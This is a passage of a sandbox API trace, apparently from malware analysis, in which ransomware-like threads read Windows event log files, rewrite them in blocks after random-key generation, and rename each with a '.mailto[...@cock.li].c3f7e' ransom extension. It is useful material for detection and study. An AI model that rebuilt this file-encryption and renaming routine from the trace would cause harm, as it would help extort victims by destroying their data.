	[0081.033] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ac8) returned 1
	[0081.034] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4883848
	[0081.037] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339b0
	[0081.037] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.037] WriteFile (in: hFile=0x984, lpBuffer=0x4883848*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xf9bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4883848*, lpNumberOfBytesWritten=0xf9bfc94*=0xc800, lpOverlapped=0x0) returned 1
	[0081.189] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4883848) returned 1
	[0081.192] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e72888) returned 1
	[0081.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6b) returned 0x2e04d38
	[0081.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33938
	[0081.192] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33938) returned 1
	[0081.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6b) returned 0x2e03fa0
	[0081.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33938
	[0081.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0081.192] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0081.192] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.192] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.193] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14f) returned 0x47cf3c0
	[0081.193] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.193] WriteFile (in: hFile=0x984, lpBuffer=0x47cf3c0*, nNumberOfBytesToWrite=0x14f, lpNumberOfBytesWritten=0xf9bfd14, lpOverlapped=0x0 | out: lpBuffer=0x47cf3c0*, lpNumberOfBytesWritten=0xf9bfd14*=0x14f, lpOverlapped=0x0) returned 1
	[0081.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf3c0) returned 1
	[0081.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e03fa0) returned 1
	[0081.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33938) returned 1
	[0081.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04d38) returned 1
	[0081.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339b0) returned 1
	[0081.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34730) returned 1
	[0081.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34758) returned 1
	[0081.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345c8) returned 1
	[0081.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476b168
	[0081.306] wcscpy (in: _Dest=0x476b168, _Source="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx"
	[0081.306] wcscat (in: _Dest=0x476b168, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.306] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xf9bfccc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a4888
	[0081.307] NtSetInformationFile (FileHandle=0x984, IoStatusBlock=0xf9bfcc4, FileInformation=0x46a4888, Length=0xcc, FileInformationClass=0xa) returned 0x0
	[0087.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a4888) returned 1
	[0087.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476bf00) returned 1
	[0087.757] NtQueryInformationFile (in: FileHandle=0x984, IoStatusBlock=0xf9bfcd8, FileInformation=0xf9bfcb0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf9bfcd8, FileInformation=0xf9bfcb0) returned 0x0
	[0087.757] NtSetInformationFile (FileHandle=0x984, IoStatusBlock=0xf9bfcd8, FileInformation=0xf9bfcb0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.759] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476b168) returned 1
	[0087.759] FlushFileBuffers (hFile=0x984) returned 1
	[0092.859] CloseHandle (hObject=0x984) 

Thread:
	id = 371
	os_tid = 0x14f4

	[0076.912] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20
	[0081.861] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", dwFileAttributes=0x20) returned 1
	[0081.861] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14a0
	[0081.875] GetFileSizeEx (in: hFile=0x14a0, lpFileSize=0xfa3f758 | out: lpFileSize=0xfa3f758*=69632) returned 1
	[0081.875] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.875] ReadFile (in: hFile=0x14a0, lpBuffer=0xfa3f6dc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfa3f6d8, lpOverlapped=0x0 | out: lpBuffer=0xfa3f6dc*, lpNumberOfBytesRead=0xfa3f6d8*=0x4, lpOverlapped=0x0) returned 1
	[0081.931] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.931] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.931] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33cd0
	[0081.931] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d98
	[0081.931] NtQuerySystemTime (in: CurrentTime=0xfa3f6b8 | out: CurrentTime=0xfa3f6b8*=132251868086713744) returned 0x0
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0xe2d6412c
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0xcbbd7a6
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x966136ff
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x86daf187
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0xa254b13c
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x7a5a4a6c
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x36de29d2
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x3fd667fa
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x403d451c
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0xde38a36
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0xb090f5cf
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0xef8aaa2e
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0xe1d7c40
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x38de4b89
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0xb2641350
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0xff6369f0
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0xbbf9b21
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x6f28f02d
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x7609449a
	[0081.931] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0xc1ef3dbc
	[0081.932] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x3952d574
	[0081.932] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0xd83b9b16
	[0081.932] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x788930
	[0081.932] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x2c389395
	[0081.932] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x6bc25325
	[0081.932] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x1fdcc12
	[0081.932] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x1a30f20b
	[0081.932] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x7b3edfac
	[0081.932] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0xd591adf8
	[0081.932] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x7e35d127
	[0081.932] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0xcbe34d35
	[0081.932] RtlRandom (in: Seed=0xfa3f6c4 | out: Seed=0xfa3f6c4) returned 0x778e25ec
	[0081.940] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04450) returned 1
	[0081.940] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0081.940] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.940] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4877040
	[0081.943] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.943] ReadFile (in: hFile=0x14a0, lpBuffer=0x4877040, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xfa3f698, lpOverlapped=0x0 | out: lpBuffer=0x4877040*, lpNumberOfBytesRead=0xfa3f698*=0xc800, lpOverlapped=0x0) returned 1
	[0081.959] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.959] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa850
	[0081.959] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04450
	[0081.959] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0081.959] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0081.960] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4883848
	[0081.961] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33de8
	[0081.961] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d20
	[0081.961] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0081.961] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04450) returned 1
	[0081.961] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa850) returned 1
	[0081.961] WriteFile (in: hFile=0x14a0, lpBuffer=0x4883848*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xfa3f698, lpOverlapped=0x0 | out: lpBuffer=0x4883848*, lpNumberOfBytesWritten=0xfa3f698*=0xc800, lpOverlapped=0x0) returned 1
	[0081.963] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4883848) returned 1
	[0081.963] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4877040) returned 1
	[0081.963] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x73) returned 0x47bc790
	[0081.963] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0081.963] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x73) returned 0x47bcb90
	[0081.963] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0081.963] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33dc0
	[0081.963] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33dc0) returned 1
	[0081.963] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.963] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa850) returned 1
	[0081.963] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x157) returned 0x4f48918
	[0081.963] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.963] WriteFile (in: hFile=0x14a0, lpBuffer=0x4f48918*, nNumberOfBytesToWrite=0x157, lpNumberOfBytesWritten=0xfa3f718, lpOverlapped=0x0 | out: lpBuffer=0x4f48918*, lpNumberOfBytesWritten=0xfa3f718*=0x157, lpOverlapped=0x0) returned 1
	[0081.967] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48918) returned 1
	[0081.967] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bcb90) returned 1
	[0081.967] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0081.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc790) returned 1
	[0081.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33de8) returned 1
	[0081.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33cd0) returned 1
	[0081.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33cf8) returned 1
	[0081.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0081.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x47cb800
	[0081.968] wcscpy (in: _Dest=0x47cb800, _Source="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx"
	[0081.968] wcscat (in: _Dest=0x47cb800, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.968] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xfa3f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x4772ad0
	[0081.968] NtSetInformationFile (FileHandle=0x14a0, IoStatusBlock=0xfa3f6c8, FileInformation=0x4772ad0, Length=0xd4, FileInformationClass=0xa) returned 0x0
	[0087.821] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4772ad0) returned 1
	[0087.821] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47181b0) returned 1
	[0087.822] NtQueryInformationFile (in: FileHandle=0x14a0, IoStatusBlock=0xfa3f6dc, FileInformation=0xfa3f6b4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xfa3f6dc, FileInformation=0xfa3f6b4) returned 0x0
	[0087.822] NtSetInformationFile (FileHandle=0x14a0, IoStatusBlock=0xfa3f6dc, FileInformation=0xfa3f6b4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.823] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cb800) returned 1
	[0087.823] FlushFileBuffers (hFile=0x14a0) returned 1
	[0093.241] CloseHandle (hObject=0x14a0) 

Thread:
	id = 372
	os_tid = 0x14f8

	[0076.913] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20
	[0081.428] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0081.428] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1420
	[0081.428] GetFileSizeEx (in: hFile=0x1420, lpFileSize=0xfabfbf8 | out: lpFileSize=0xfabfbf8*=69632) returned 1
	[0081.428] SetFilePointerEx (in: hFile=0x1420, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.429] ReadFile (in: hFile=0x1420, lpBuffer=0xfabfb7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfabfb78, lpOverlapped=0x0 | out: lpBuffer=0xfabfb7c*, lpNumberOfBytesRead=0xfabfb78*=0x4, lpOverlapped=0x0) returned 1
	[0081.439] SetFilePointerEx (in: hFile=0x1420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.439] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.439] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33bb8
	[0081.439] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.439] NtQuerySystemTime (in: CurrentTime=0xfabfb58 | out: CurrentTime=0xfabfb58*=132251868081713679) returned 0x0
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x119ec6f7
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x668c932a
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x1eea0fcd
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x6aedab6d
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0xd8da71c2
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0xa10fd6f4
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0xe068b564
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x8a5c2bbf
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0xbfd3ef30
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x8e9fcb26
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x5a022b44
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x1eadd44d
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x753b0c
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x15a5882d
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x535b1a87
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0xc339df2f
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x369a272a
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x6a7b3e2
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x1764b32f
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0xa23256e7
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0xb80e2643
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0xe88baa04
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x22e09290
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x48d4022e
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x57125768
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x96a0630a
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0xa947567
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x890b5f85
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x9f58970b
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x10c9fa46
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x8b671f93
	[0081.439] RtlRandom (in: Seed=0xfabfb64 | out: Seed=0xfabfb64) returned 0x524bc667
	[0081.446] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33af0
	[0081.448] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.448] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e338c0
	[0081.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.448] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48a3810
	[0081.448] SetFilePointerEx (in: hFile=0x1420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.448] ReadFile (in: hFile=0x1420, lpBuffer=0x48a3810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xfabfb38, lpOverlapped=0x0 | out: lpBuffer=0x48a3810*, lpNumberOfBytesRead=0xfabfb38*=0xc800, lpOverlapped=0x0) returned 1
	[0081.449] SetFilePointerEx (in: hFile=0x1420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.449] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.449] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.449] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b40
	[0081.450] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b40) returned 1
	[0081.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f61fb0
	[0081.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33988
	[0081.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0081.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.451] WriteFile (in: hFile=0x1420, lpBuffer=0x4f61fb0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xfabfb38, lpOverlapped=0x0 | out: lpBuffer=0x4f61fb0*, lpNumberOfBytesWritten=0xfabfb38*=0xc800, lpOverlapped=0x0) returned 1
	[0081.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f61fb0) returned 1
	[0081.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a3810) returned 1
	[0081.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6f) returned 0x2e04c48
	[0081.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b40
	[0081.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b40) returned 1
	[0081.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6f) returned 0x2e045b8
